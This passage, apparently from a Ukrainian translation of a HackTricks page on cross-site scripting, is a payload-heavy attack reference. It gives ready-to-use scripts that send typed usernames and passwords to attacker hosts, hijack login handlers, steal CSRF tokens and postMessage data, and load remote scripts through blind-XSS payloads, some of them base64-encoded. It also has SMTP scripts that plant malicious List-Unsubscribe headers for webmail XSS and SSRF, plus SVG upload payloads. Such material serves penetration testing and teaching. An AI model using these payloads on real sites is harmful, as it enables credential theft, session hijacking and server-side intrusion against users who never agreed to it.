<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Коли будь-які дані вводяться у поле пароля, ім’я користувача та пароль відправляються на сервер зловмисника; навіть якщо клієнт вибирає збережений пароль і нічого не вводить, облікові дані будуть ексфільтровані.
Hijack form handlers to exfiltrate credentials (const shadowing)
Якщо критичний handler (наприклад, function DoLogin(){...}) оголошується пізніше на сторінці, а ваш payload виконується раніше (наприклад, через inline JS-in-JS sink), визначте спочатку const з тим же ім’ям, щоб перехопити та заблокувати handler. Пізніші оголошення функцій не зможуть переназначити ім’я const, залишаючи ваш hook під контролем:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- Це залежить від порядку виконання: ваша ін’єкція має виконатися до легітимного оголошення.
- Якщо ваш payload обгорнутий у
eval(...), биндингиconst/letне стануть глобальними. Використайте динамічну ін’єкцію<script>зі секції “Deliverable payloads with eval(atob()) and scope nuances”, щоб забезпечити справжнє глобальне, неперепризначуване зв’язування. - Коли фільтри ключових слів блокують код, поєднуйте з ідентифікаторами, закодованими у Unicode-escape, або доставкою через
eval(atob('...')), як показано вище.
Keylogger
Просто шукаючи на github, я знайшов кілька різних:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ви також можете використовувати metasploit
http_javascript_keylogger
Викрадення CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Викрадення повідомлень PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Якщо сторінка зберігає event.origin з postMessage і пізніше вставляє його в URL скрипта, відправник контролює origin завантажуваного JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: спрацьовує лише коли
window.openerіснує іpixel_idє allowlisted; origin ніколи не перевіряється. - Use CSP-allowed origin: pivot на домен, який вже дозволений CSP жертви (наприклад, сторінки допомоги для незалогінених користувачів, що дозволяють analytics як
*.THIRD-PARTY.com) і розмістіть/sdk/<pixel_id>/iwl.jsтам через takeover/XSS/upload. - Restore
opener: в Android WebView,window.name='x'; window.open(target,'x')робить сторінку її власним opener; відправте шкідливийpostMessageз захопленого iframe. - Trigger: iframe постить
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; батьківська сторінка потім завантажує атакуючийiwl.jsз CSP-allowed origin і виконує його.
Це перетворює origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.
Supply-chain stored XSS via backend JS concatenation
Коли бекенд будує спільний SDK шляхом конкатенації JS-рядків зі значеннями, контрольованими користувачем, будь-який символ, що ламає лапки/структуру, може інжектити скрипт, який буде відданий кожному споживачу:
- Example pattern (Meta CAPIG): server appends
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directly intocapig-events.js. - Інжекція
'або"]}закриває літерал/об’єкт і додає JS атакуючого, створюючи stored XSS в розповсюдженому SDK для кожного сайту, що його завантажує (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Можна також використовувати: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Доступ до прихованого вмісту
From this writeup можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все одно можна знайти в JS-атрибутах різних об’єктів. Наприклад, input для REGEX все ще можна знайти після того, як значення input для regex було видалено:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Зловживання іншими вразливостями
XSS у Markdown
Чи можна inject Markdown-код, який буде відрендерено? Можливо, ви зможете отримати XSS! Перевірте:
XSS до SSRF
Отримали XSS на site that uses caching? Спробуйте upgrading that to SSRF через Edge Side Include Injection з цим payload:
<esi:include src="http://yoursite.com/capture" />
Використовуйте це, щоб обійти cookie-обмеження, фільтри XSS та багато іншого!
Детальніше про цю техніку тут: XSLT.
XSS у динамічно створеному PDF
Якщо веб-сторінка створює PDF з використанням даних, контрольованих користувачем, можна спробувати ввести в оману бота, який створює PDF, щоб він виконав довільний JS-код.
Отже, якщо бот-створювач PDF знайде якісь HTML теги, він їх інтерпретує, і ви можете зловживати цією поведінкою, щоб спричинити Server XSS.
Якщо ви не можете інжектувати HTML теги, варто спробувати впровадити PDF-дані:
XSS у Amp4Email
AMP, призначений для прискорення роботи веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, щоб забезпечити функціональність з акцентом на швидкість і безпеку. Він підтримує низку компонентів для різних функцій, доступних через AMP components.
Формат AMP for Email розширює окремі компоненти AMP для email, дозволяючи отримувачам взаємодіяти з контентом безпосередньо в своїх листах.
Приклад: writeup XSS in Amp4Email in Gmail.
Зловживання заголовком List-Unsubscribe (Webmail XSS & SSRF)
Заголовок RFC 2369 List-Unsubscribe вставляє URI, контрольовані атакуючим, які багато webmail і mail-клієнтів автоматично перетворюють на кнопки “Unsubscribe”. Коли ці URI рендеряться або отримуються без валідації, заголовок стає точкою ін’єкції як для stored XSS (якщо посилання на unsubscribe поміщено в DOM), так і для SSRF (якщо сервер виконує запит на відписку від імені користувача).
Stored XSS via javascript: URIs
- Надішліть собі лист, де заголовок вказує на
javascript:URI, при цьому інша частина повідомлення має бути нешкідливою, щоб фільтри спаму не видалили його. - Переконайтеся, що UI відображає значення (багато клієнтів показують його в панелі “List Info”) і перевірте, чи отриманий
<a>тег успадковує атрибути, контрольовані атакуючим, такі якhrefабоtarget. - Спровокуйте виконання (наприклад, CTRL+click, middle-click або “open in new tab”), коли посилання використовує
target="_blank"; браузери виконуватимуть поданий JavaScript в origin веб-поштового додатка. - Спостерігайте примітив stored-XSS: payload зберігається в листі й вимагає лише кліку для виконання.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Байт нового рядка (%0a) в URI показує, що навіть незвичні символи проходять через процес рендерингу в уразливих клієнтах, таких як Horde IMP H5, які виводять рядок дослівно всередині anchor tag.
Minimal SMTP PoC, який доставляє шкідливий заголовок List-Unsubscribe
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Проксі відписки на сервері -> SSRF
Деякі клієнти, такі як Nextcloud Mail app, проксірують дію відписки на боці сервера: натискання кнопки інструктує сервер самостійно отримати наданий URL. Це перетворює заголовок на примітив SSRF, особливо коли адміністратори встановлюють `'allow_local_remote_servers' => true` (задокументовано в [HackerOne report 2902856](https://hackerone.com/reports/2902856)), що дозволяє робити запити до loopback і діапазонів RFC1918.
1. **Craft an email** where `List-Unsubscribe` targets an attacker-controlled endpoint (for blind SSRF use Burp Collaborator / OAST).
2. **Keep `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** so the UI shows a single-click unsubscribe button.
3. **Satisfy trust requirements**: Nextcloud, for example, only performs HTTPS unsubscribe requests when the message passes DKIM, so the attacker must sign the email using a domain they control.
4. **Deliver the message to a mailbox processed by the target server** and wait until a user clicks the unsubscribe button.
5. **Спостерігайте server-side callback** at the collaborator endpoint, then pivot to internal addresses once the примітив is confirmed.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe повідомлення для тестування SSRF
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Примітки до тестування**
- Використовуйте OAST endpoint для збору blind SSRF hits, після чого адаптуйте `List-Unsubscribe` URL, щоб спрямувати його на `http://127.0.0.1:PORT`, служби метаданих або інші внутрішні хости після підтвердження примітива.
- Оскільки unsubscribe helper часто повторно використовує той самий HTTP-стек, що й додаток, ви успадковуєте його proxy налаштування, HTTP verbs і переписування заголовків, що дозволяє застосувати додаткові трюки обходу, описані в [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS завантаження файлів (svg)
Завантажте як зображення файл на кшталт наведеного нижче (з [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Знайдіть більше SVG payloads у https://github.com/allanlw/svg-cheatsheet
Різні JS трюки та релевантна інформація
Misc JS Tricks & Relevant Info
Ресурси XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Джерела
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


